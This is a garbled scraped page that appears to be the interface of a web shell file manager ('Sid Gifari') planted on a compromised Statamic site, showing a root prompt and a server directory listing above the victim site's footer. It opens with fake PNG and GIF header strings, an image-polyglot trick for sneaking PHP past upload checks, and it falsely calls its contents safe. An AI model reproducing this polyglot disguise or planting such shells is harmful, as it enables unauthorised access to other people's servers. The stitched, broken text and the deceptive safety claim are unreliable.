$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: 2026-02-13

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

WordFence

Sid Gifari File Manager

🏠 Root / home / forge / phpmyadmin.backfron.com / public / vendor / web-auth / cose-lib / src /
root@Sid-Gifari:/home/forge/phpmyadmin.backfron.com/public/vendor/web-auth/cose-lib/src$


NameSizePermAction
📁 Algorithm -
📄 Algorithms.php 4915 bytes
📄 BigInteger.php 3177 bytes
📄 Hash.php 1897 bytes
📁 Key -
📄 Verifier.php 270 bytes
Backfron - Statamic
Logo backfron
Statamic
Guayaquil, Ecuador
info@backfron.com